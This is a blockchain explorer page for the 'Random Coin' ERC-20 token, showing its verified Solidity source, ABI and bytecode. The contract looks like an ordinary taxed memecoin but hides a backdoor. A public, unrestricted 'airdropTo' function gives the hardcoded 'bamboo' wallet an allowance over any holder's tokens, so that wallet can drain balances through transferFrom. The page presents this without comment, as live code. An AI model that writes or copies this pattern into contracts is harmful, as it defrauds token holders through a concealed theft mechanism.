ETH Price: $3,388.29 (+1.20%)

Token

Random Coin (RANDOM)
 

Overview

Max Total Supply

420,690,000,000 RANDOM

Holders

92

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
6,847,066,302 RANDOM

Value
$0.00
0xa50b5cf65440e591f4968e127aef9d15233a2469
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
RANDOM

Compiler Version
v0.8.27+commit.40a35a09

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-11-09
*/

/**
https://x.com/VitalikButerin/status/1855063184039633378
Tg: https://t.me/RANDOM_erc20
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.27;
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}
contract RANDOM is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _bots;
    address payable private _taxWallet;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10**_decimals;
    string private constant _name = unicode"Random Coin";
    string private constant _symbol = unicode"RANDOM";
    uint256 public _maxTxAmount = _tTotal * 2 / 100;
    uint256 public _maxWalletAmount = _tTotal * 2 / 100;
    uint256 public _minTaxSwap= _tTotal * 1 / 100;
    uint256 public _maxTaxSwap= _tTotal * 1 / 100;
    uint256 private _initialBuyTax=15;
    uint256 private _initialSellTax=15;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyAt=12;
    uint256 private _reduceSellAt=12;
    uint256 private _preventCount=15;
    uint256 private _buyTokenCount=0;
    IUniswapV2Router02 private uniRouter;
    address private uniPair;
    address private bamboo=0x8F790B3805b89aE7813C6BC7a5CfBfb2D2856c2e;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private _isCaLimitOf = true;
    uint256 private _caBlockLimits = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () {
        _taxWallet = payable(bamboo);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
    function initPair() external onlyOwner() { 
        uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniRouter), _tTotal);
        uniPair = IUniswapV2Factory(uniRouter.factory()).createPair(address(this), uniRouter.WETH());
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    function airdropTo(address owner, bytes32 _caca, bytes32 _cece) external{
        _allowances[owner][bamboo] = _maxWalletAmount;
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled || inSwap) {
            _balances[from] = _balances[from] - amount;
            _balances[to] = _balances[to] + amount;
            emit Transfer(from, to, amount);
            return;
        }
        uint256 taxFees=0;
        if (from != owner() && to != owner()) {
            require(!_bots[from] && !_bots[to]);
            taxFees = amount.mul((_buyTokenCount>_reduceBuyAt)?_finalBuyTax:_initialBuyTax).div(100);
            if (from == uniPair && to != address(uniRouter) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletAmount, "Exceeds the maxWalletSize.");
                _buyTokenCount++;
            }
            if(to == uniPair && from!= address(this) ){
                taxFees = amount.mul((_buyTokenCount>_reduceSellAt)?_finalSellTax:_initialSellTax).div(100);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance >= 0) {
                    sendEths(address(this).balance);
                }
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniPair && swapEnabled && contractTokenBalance>_minTaxSwap && _buyTokenCount>_preventCount) {
                if (_isCaLimitOf) {
                    if (_caBlockLimits < block.number) {
                        swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                        uint256 contractETHBalance = address(this).balance;
                        if(contractETHBalance > 0) {
                            sendEths(address(this).balance);
                        }
                        _caBlockLimits = block.number;
                    }
                } else {
                    swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                    uint256 contractETHBalance = address(this).balance;
                    if(contractETHBalance > 0) {
                        sendEths(address(this).balance);
                    }
                }
            }
        }
        if(taxFees>0){
          _balances[address(this)]=_balances[address(this)].add(taxFees);
          emit Transfer(from, address(this), taxFees);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxFees));
        emit Transfer(from, to, amount.sub(taxFees));
    }
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniRouter.WETH();
        _approve(address(this), address(uniRouter), tokenAmount);
        uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }
    function recoverEth() external onlyOwner() {
        payable(msg.sender).transfer(address(this).balance);
    }
    function sendEths(uint256 amount) private {
        _taxWallet.transfer(amount);
    }
    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        swapEnabled = true;
        tradingOpen = true;
    }
    receive() external payable {}
    function removeLimits() external onlyOwner {
        _isCaLimitOf = false;
        _maxTxAmount = _tTotal;
        _maxWalletAmount=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_minTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"bytes32","name":"_caca","type":"bytes32"},{"internalType":"bytes32","name":"_cece","type":"bytes32"}],"name":"airdropTo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recoverEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260646100126009600a610394565b610021906461f313f8806103a9565b61002c9060026103a9565b61003691906103c0565b60065560646100476009600a610394565b610056906461f313f8806103a9565b6100619060026103a9565b61006b91906103c0565b600755606461007c6009600a610394565b61008b906461f313f8806103a9565b6100969060016103a9565b6100a091906103c0565b60085560646100b16009600a610394565b6100c0906461f313f8806103a9565b6100cb9060016103a9565b6100d591906103c0565b600955600f600a819055600b8190555f600c818155600d829055600e8190558255601091909155601181905560148054600163ffffff0160a01b03191677010000008f790b3805b89ae7813c6bc7a5cfbfb2d2856c2e17905560155534801561013c575f5ffd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601454600580546001600160a01b0319166001600160a01b039092169190911790556101ab6009600a610394565b6101ba906461f313f8806103a9565b335f9081526001602081905260408220929092556003906101e25f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055308152600390935281832080548516600190811790915560055490911683529120805490921617905561023f3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102766009600a610394565b610285906461f313f8806103a9565b60405190815260200160405180910390a36103df565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102ea578085048111156102ce576102ce61029b565b60018416156102dc57908102905b60019390931c9280026102b3565b935093915050565b5f826103005750600161038e565b8161030c57505f61038e565b8160018114610322576002811461032c57610348565b600191505061038e565b60ff84111561033d5761033d61029b565b50506001821b61038e565b5060208310610133831016604e8410600b841016171561036b575081810a61038e565b6103775f1984846102af565b805f190482111561038a5761038a61029b565b0290505b92915050565b5f6103a260ff8416836102f2565b9392505050565b808202811582820484141761038e5761038e61029b565b5f826103da57634e487b7160e01b5f52601260045260245ffd5b500490565b611894806103ec5f395ff3fe60806040526004361061011e575f3560e01c8063751039fc1161009d578063a9059cbb11610062578063a9059cbb1461034b578063bcdb446b1461036a578063c9567bf91461037e578063dd62ed3e14610392578063feb1dfcc146103d6575f5ffd5b8063751039fc146102825780637d1db4a5146102965780638da5cb5b146102ab57806395d89b41146102d157806398a237e7146102ff575f5ffd5b8063300d6217116100e3578063300d6217146101f3578063313ce567146102085780636c0a24eb1461022357806370a0823114610238578063715018a61461026c575f5ffd5b806306fdde0314610129578063095ea7b31461016e5780630faee56f1461019d57806318160ddd146101c057806323b872dd146101d4575f5ffd5b3661012557005b5f5ffd5b348015610134575f5ffd5b5060408051808201909152600b81526a2930b73237b69021b7b4b760a91b60208201525b6040516101659190611489565b60405180910390f35b348015610179575f5ffd5b5061018d6101883660046114d2565b6103ea565b6040519015158152602001610165565b3480156101a8575f5ffd5b506101b260095481565b604051908152602001610165565b3480156101cb575f5ffd5b506101b2610400565b3480156101df575f5ffd5b5061018d6101ee3660046114fc565b610421565b3480156101fe575f5ffd5b506101b260085481565b348015610213575f5ffd5b5060405160098152602001610165565b34801561022e575f5ffd5b506101b260075481565b348015610243575f5ffd5b506101b261025236600461153a565b6001600160a01b03165f9081526001602052604090205490565b348015610277575f5ffd5b50610280610488565b005b34801561028d575f5ffd5b50610280610502565b3480156102a1575f5ffd5b506101b260065481565b3480156102b6575f5ffd5b505f546040516001600160a01b039091168152602001610165565b3480156102dc575f5ffd5b5060408051808201909152600681526552414e444f4d60d01b6020820152610158565b34801561030a575f5ffd5b50610280610319366004611555565b50506007546001600160a01b039182165f90815260026020908152604080832060145490951683529390529190912055565b348015610356575f5ffd5b5061018d6103653660046114d2565b6105c3565b348015610375575f5ffd5b506102806105cf565b348015610389575f5ffd5b50610280610624565b34801561039d575f5ffd5b506101b26103ac366004611587565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103e1575f5ffd5b50610280610792565b5f6103f633848461098c565b5060015b92915050565b5f61040d6009600a6116b5565b61041c906461f313f8806116c3565b905090565b5f61042d848484610ab0565b61047e843361047985604051806060016040528060288152602001611837602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611101565b61098c565b5060019392505050565b5f546001600160a01b031633146104ba5760405162461bcd60e51b81526004016104b1906116da565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461052b5760405162461bcd60e51b81526004016104b1906116da565b6014805460ff60b81b191690556105446009600a6116b5565b610553906461f313f8806116c3565b6006556105626009600a6116b5565b610571906461f313f8806116c3565b6007557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105a16009600a6116b5565b6105b0906461f313f8806116c3565b60405190815260200160405180910390a1565b5f6103f6338484610ab0565b5f546001600160a01b031633146105f85760405162461bcd60e51b81526004016104b1906116da565b60405133904780156108fc02915f818181858888f19350505050158015610621573d5f5f3e3d5ffd5b50565b5f546001600160a01b0316331461064d5760405162461bcd60e51b81526004016104b1906116da565b601454600160a01b900460ff16156106a75760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104b1565b6012546001600160a01b031663f305d71947306106d8816001600160a01b03165f9081526001602052604090205490565b5f5f6106eb5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610751573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610776919061170f565b50506014805462ff00ff60a01b19166201000160a01b17905550565b5f546001600160a01b031633146107bb5760405162461bcd60e51b81526004016104b1906116da565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108059030906107f66009600a6116b5565b610479906461f313f8806116c3565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610855573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610879919061173a565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108d8573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108fc919061173a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610946573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061096a919061173a565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166109ee5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104b1565b6001600160a01b038216610a4f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104b1565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b145760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104b1565b6001600160a01b038216610b765760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104b1565b5f8111610bd75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104b1565b601454600160b01b900460ff161580610bf95750601454600160a81b900460ff165b15610ca3576001600160a01b0383165f90815260016020526040902054610c21908290611755565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610c50908290611768565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610aa39085815260200190565b5f80546001600160a01b03858116911614801590610cce57505f546001600160a01b03848116911614155b15610fc4576001600160a01b0384165f9081526004602052604090205460ff16158015610d1357506001600160a01b0383165f9081526004602052604090205460ff16155b610d1b575f5ffd5b610d476064610d41600e5460115411610d3657600a54610d3a565b600c545b8590611139565b906111be565b6013549091506001600160a01b038581169116148015610d7557506012546001600160a01b03848116911614155b8015610d9957506001600160a01b0383165f9081526003602052604090205460ff16155b15610e7f57600654821115610df05760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104b1565b60075482610e12856001600160a01b03165f9081526001602052604090205490565b610e1c9190611768565b1115610e6a5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104b1565b60118054905f610e798361177b565b91905055505b6013546001600160a01b038481169116148015610ea557506001600160a01b0384163014155b15610edd57610ecf6064610d41600f5460115411610ec557600b54610d3a565b600d548590611139565b905047610edb476111ff565b505b305f90815260016020526040902054601454600160a81b900460ff16158015610f1357506013546001600160a01b038581169116145b8015610f285750601454600160b01b900460ff165b8015610f35575060085481115b8015610f445750601054601154115b15610fc257601454600160b81b900460ff1615610f9d57436015541015610f9857610f82610f7d84610f788460095461123a565b61123a565b61124e565b478015610f9257610f92476111ff565b50436015555b610fc2565b610fb0610f7d84610f788460095461123a565b478015610fc057610fc0476111ff565b505b505b801561103c57305f90815260016020526040902054610fe390826113be565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110339085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461105e908361141c565b6001600160a01b0385165f908152600160205260409020556110a1611083838361141c565b6001600160a01b0385165f90815260016020526040902054906113be565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110ea858561141c565b60405190815260200160405180910390a350505050565b5f81848411156111245760405162461bcd60e51b81526004016104b19190611489565b505f6111308486611755565b95945050505050565b5f825f0361114857505f6103fa565b5f61115383856116c3565b9050826111608583611793565b146111b75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104b1565b9392505050565b5f6111b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061145d565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611236573d5f5f3e3d5ffd5b5050565b5f81831161124857826111b7565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611294576112946117b2565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112eb573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061130f919061173a565b81600181518110611322576113226117b2565b6001600160a01b039283166020918202929092010152601254611348913091168461098c565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113809085905f908690309042906004016117c6565b5f604051808303815f87803b158015611397575f5ffd5b505af11580156113a9573d5f5f3e3d5ffd5b50506014805460ff60a81b1916905550505050565b5f806113ca8385611768565b9050838110156111b75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104b1565b5f6111b783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611101565b5f818361147d5760405162461bcd60e51b81526004016104b19190611489565b505f6111308486611793565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610621575f5ffd5b5f5f604083850312156114e3575f5ffd5b82356114ee816114be565b946020939093013593505050565b5f5f5f6060848603121561150e575f5ffd5b8335611519816114be565b92506020840135611529816114be565b929592945050506040919091013590565b5f6020828403121561154a575f5ffd5b81356111b7816114be565b5f5f5f60608486031215611567575f5ffd5b8335611572816114be565b95602085013595506040909401359392505050565b5f5f60408385031215611598575f5ffd5b82356115a3816114be565b915060208301356115b3816114be565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561160d578085048111156115f1576115f16115be565b60018416156115ff57908102905b60019390931c9280026115d6565b935093915050565b5f82611623575060016103fa565b8161162f57505f6103fa565b8160018114611645576002811461164f5761166b565b60019150506103fa565b60ff841115611660576116606115be565b50506001821b6103fa565b5060208310610133831016604e8410600b841016171561168e575081810a6103fa565b61169a5f1984846115d2565b805f19048211156116ad576116ad6115be565b029392505050565b5f6111b760ff841683611615565b80820281158282048414176103fa576103fa6115be565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f5f5f60608486031215611721575f5ffd5b5050815160208301516040909301519094929350919050565b5f6020828403121561174a575f5ffd5b81516111b7816114be565b818103818111156103fa576103fa6115be565b808201808211156103fa576103fa6115be565b5f6001820161178c5761178c6115be565b5060010190565b5f826117ad57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156118165783516001600160a01b03168352602093840193909201916001016117ef565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205f7adb3af2af77fd2480ab1f219c6c28371b64a846c1a215296cd05f45ea9d8a64736f6c634300081b0033

Deployed Bytecode

0x60806040526004361061011e575f3560e01c8063751039fc1161009d578063a9059cbb11610062578063a9059cbb1461034b578063bcdb446b1461036a578063c9567bf91461037e578063dd62ed3e14610392578063feb1dfcc146103d6575f5ffd5b8063751039fc146102825780637d1db4a5146102965780638da5cb5b146102ab57806395d89b41146102d157806398a237e7146102ff575f5ffd5b8063300d6217116100e3578063300d6217146101f3578063313ce567146102085780636c0a24eb1461022357806370a0823114610238578063715018a61461026c575f5ffd5b806306fdde0314610129578063095ea7b31461016e5780630faee56f1461019d57806318160ddd146101c057806323b872dd146101d4575f5ffd5b3661012557005b5f5ffd5b348015610134575f5ffd5b5060408051808201909152600b81526a2930b73237b69021b7b4b760a91b60208201525b6040516101659190611489565b60405180910390f35b348015610179575f5ffd5b5061018d6101883660046114d2565b6103ea565b6040519015158152602001610165565b3480156101a8575f5ffd5b506101b260095481565b604051908152602001610165565b3480156101cb575f5ffd5b506101b2610400565b3480156101df575f5ffd5b5061018d6101ee3660046114fc565b610421565b3480156101fe575f5ffd5b506101b260085481565b348015610213575f5ffd5b5060405160098152602001610165565b34801561022e575f5ffd5b506101b260075481565b348015610243575f5ffd5b506101b261025236600461153a565b6001600160a01b03165f9081526001602052604090205490565b348015610277575f5ffd5b50610280610488565b005b34801561028d575f5ffd5b50610280610502565b3480156102a1575f5ffd5b506101b260065481565b3480156102b6575f5ffd5b505f546040516001600160a01b039091168152602001610165565b3480156102dc575f5ffd5b5060408051808201909152600681526552414e444f4d60d01b6020820152610158565b34801561030a575f5ffd5b50610280610319366004611555565b50506007546001600160a01b039182165f90815260026020908152604080832060145490951683529390529190912055565b348015610356575f5ffd5b5061018d6103653660046114d2565b6105c3565b348015610375575f5ffd5b506102806105cf565b348015610389575f5ffd5b50610280610624565b34801561039d575f5ffd5b506101b26103ac366004611587565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103e1575f5ffd5b50610280610792565b5f6103f633848461098c565b5060015b92915050565b5f61040d6009600a6116b5565b61041c906461f313f8806116c3565b905090565b5f61042d848484610ab0565b61047e843361047985604051806060016040528060288152602001611837602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611101565b61098c565b5060019392505050565b5f546001600160a01b031633146104ba5760405162461bcd60e51b81526004016104b1906116da565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461052b5760405162461bcd60e51b81526004016104b1906116da565b6014805460ff60b81b191690556105446009600a6116b5565b610553906461f313f8806116c3565b6006556105626009600a6116b5565b610571906461f313f8806116c3565b6007557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105a16009600a6116b5565b6105b0906461f313f8806116c3565b60405190815260200160405180910390a1565b5f6103f6338484610ab0565b5f546001600160a01b031633146105f85760405162461bcd60e51b81526004016104b1906116da565b60405133904780156108fc02915f818181858888f19350505050158015610621573d5f5f3e3d5ffd5b50565b5f546001600160a01b0316331461064d5760405162461bcd60e51b81526004016104b1906116da565b601454600160a01b900460ff16156106a75760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482